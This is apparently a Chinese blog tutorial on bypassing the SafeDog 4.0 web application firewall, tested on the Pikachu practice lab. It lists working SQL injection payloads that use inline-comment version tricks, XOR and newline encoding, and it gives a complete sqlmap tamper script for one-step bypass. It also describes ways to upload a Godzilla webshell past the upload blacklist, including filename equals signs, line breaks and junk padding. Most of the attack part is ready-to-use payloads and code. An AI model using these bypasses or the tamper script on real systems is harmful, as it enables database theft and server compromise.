本文主要介紹過繞過安全狗的注入以及上傳方法,內容偏新手,大佬勿噴。。
知識點介紹
開始先將本文所使用到的繞過方法知識點列出來
1.內聯注釋繞過
在mysql的語法中,有三種注釋方法:--
和#(單行注釋)和 /* */(多行注釋)如果在/*后加驚嘆號!意為/* */里的語句將被執行

在mysql中 /*! ....*/ 不是注釋,mysql為了保持兼容,它把一些特有的僅在mysql上用的語句放在/*!....*/中,這樣這些語句如果在其他數據庫中是不會被執行,但在mysql中它會執行。如下語句/*!50001 select * from test */;這里的50001表示假如 數據庫是5.00.01及以上版本,該語句才會被執行。
2.異或繞過
在^沒有被過濾的時候可以利用它來測試
異或:xor或^
邏輯運算就是:同假異真(兩個條件結果相同就為假,結果不同就為真)
例如:1^0 就是 1 ,1^1 就是 0
例子:
lucy' Xor '1'='1' #
如果‘lucy’存在則前后都為真則為返回假
如果’lucy‘不存在則前為假后都為真則為返回真
Xor類似當前后都為真時返回假執行后面一個表達式
如果A為真,則查出不滿足B條件數據;
如果A為假,則查出滿足B條件數據;

3.換行繞過
換行符繞過:%23%0a、%2d%2d%0a
%23 是url編碼中的 # (也就是MySQL中的行注釋符)
%0A 是url編碼中的 換行
%23 aaaa -->對應的就是 #aaaa (就相當於把這行給注釋掉了)
而再加上%0a(也就是換行符,后面的語句又能成功執行了)
測試環境
APACHE版本的安全狗版本4.0.28330,WIN10

這里用pickachu靶場的字符型注入來測試
一、mysql注入繞過測試
通過fuzzy測試安全狗的攔截策略(字典后面附上)
and 1 (and后加數字攔截)


過狗現在很好用的是內聯注釋加參數干擾,這里and加數字被過濾了,我們就直接將and后面的內容放進注釋符里

這里也可以用&來代替and或者Xor也都不攔截
lucy' & '1'='1'#

lucy' Xor '1'='1'#

order by (這里order不攔截by不攔截,但是order后面加by會攔截)
所以我們還是用之前的內聯注釋測試繞過


發現and能過的內聯注釋到了order by就不行了。這.... 抓頭.jpg。再測試一下將order by全部放進內聯里,也不行。
根據開頭介紹的內聯的特性,往內聯里加數字進行測試。這里可以多准備些五位數因為一些常用的已經被狗攔了
簡單的fuzz 了一下,發現 了大量的可以繞過的版本號
10440 – 10449 13440-13449 14400-14499 15440-15449 16440-16449 17440-17449 18440-18449 等等

這里還有一種變形,首先看到這里一般的內聯被過濾了
lucy' /**/order /**/by #

但是可以在內聯注釋中隨機添加上一步中被狗攔截的五位數字,並隨機添加一些字母,但是必須要放在order by等關鍵字的中間,功能相當於空格.
lucy' order/*!77777cz*/by 1#

union select (union后跟select會被攔截)
union select繞過可以直接加內聯,因為安全狗看重的是關鍵字,要繞過只需要中間加些干擾就行。
但union select中間需要放兩個內聯才行,之后的都是這樣。
-1' union /*!11440 select*/ 1,2#

-1' union /!77777cz//!77777cz/ select 1,2#

user()、database() (關鍵詞跟括號會被攔截)
以前版本的在database()中間插空格符已經不管用了
tip:Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0
但可以用內聯繞過,直接把()放到內聯里,或者經過簡單的變形就能過
-1' union /*!77777cz*//*!77777cz*/ select database/*!77777a*/(),2#

select xxx from xxx (select 任意字符 from 后面跟任意字符等也會攔截)
這里將select table_name和from information_schema.tables單獨進行測試,發現都不會被攔截,但是用select table_name,2 from information_schema.這種組合進行測試時就會被攔截。再測試select xxx from xxx發現被攔截。說明select后面跟任意字符再加上from再加上任意字符就會被攔截。
這里只需要將select放進內聯即可繞過,也可以像之前一樣在from前面加兩個內聯/*!77777cz*/,我這里為了簡潔就只寫一種。
查表名
-1' union /*!11440select*/ group_concat(table_name),2 from information_schema.tables where table_schema=database/*!77777cz*/()#

還可以用mysql>5.6版本的新特性,mysql庫多了兩個新表,innodb_index_stats 和 innodb_table_stats
這兩個表是數據庫自動設置的用於記錄更改和新創建的數據庫和表的信息,但准確的說是保存最近的數據庫變動記錄。安全狗沒有對這兩個關鍵字進行限制。
具體怎么查爆內容看這篇文章
查表名
1' union /*!11440select*/ group_concat(table_name),2 from mysql.innodb_index_stats where database_name=database/*!()*/#
時間盲注和報錯
經測試
sleep()不會被攔但sleep()里面加數字就會被攔
updatexml()不會被攔,但是能執行的updatexml(1,1,0)會被攔截
都可以用內聯進行繞過
lucy ' /*!11440or*/ /*!11440sleep(3)*/#
-1'AND updatexml/*!77777cz*/(1,version(),0)#
最基本的繞過方式已經找到,但我們的目的是編寫sqlmap tamper來一鍵化過狗,先將上面的方法寫成tamper來進行測試
tamper的編寫很簡單參考這篇
我這里簡單介紹下payload替換部分,假如在服務器上AND被攔截,我們想用內聯注釋/!11444AND/繞過,就需要這樣寫
def tamper(payload, **kwargs):
payload=payload.replace('AND','/*!11444AND*/')
其他的order、union、sleep等都是同樣的方法。
在測試tamper的時候將sqlmap等級調整為v3這樣可以顯示使用到的語句

測試過程中發現sqlmap在進行聯合注入測試時,會使用UNION ALL SELECT語句,同樣的UNION ALL SELECT語句也是UNION ALL不攔截,UNION ALL SELECT才會被攔截,所以也是只需要對SELECT進行內聯注釋就行。
最后結果可以看到,所有類型的注入都可以跑出來

但是在測試查詢所有數據庫名時sqlmap會使用USER()和SESSION_USER()函數,還是用之前的方法,在字母和括號之間使用內聯USER/*!77777cz*/(),但是這樣的話SESSION_USER()函數也會被轉換成SESSION_USER/*!77777cz*/()然后就會報錯。

所以要單獨對SESSION_USER()使用另一種內聯來繞過,/!11440SESSION_USER()/
最后效果

最終tamper
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers ([url]http://sqlmap.org/[/url])
See the file 'LICENSE' for copying permission
Author:LUSHUN
"""
import re
import os
from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("Bypass safedog4.0'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
payload=payload.replace('AND','/*!11440AND*/')
payload=payload.replace('ORDER','order/*!77777cz*/')
payload=payload.replace("SELECT","/*!11440SELECT*/")
payload=payload.replace("SLEEP(","sleep/*!77777cz*/(")
payload=payload.replace("UPDATEXML(","UPDATEXML/*!77777cz*/(")
payload=payload.replace("SESSION_USER()","/*!11440SESSION_USER()*/")
payload=payload.replace("USER())","USER/*!77777cz*/())")
payload=payload.replace("DATABASE()","DATABASE/*!77777cz*/()")
return payload
二、繞過上傳測試
安全狗的上傳限制措施是黑名單。
我這里用一個哥斯拉馬來做測試,看到上傳文件服務器直接報500

方法一:等號繞過
在filename后多添加兩個等號

方法二:換行繞過
在文件后綴名處換行

方法三:填充垃圾字符
在Content-Disposition字段后添加垃圾數據,來繞過對文件名的校驗

tip:一些對文件內容進行檢測的waf也可以用這種方法繞過,添加在文件內容的開頭
在測試過程中還發現安全狗日志警報

說明安全狗對Content-Type也是有限制
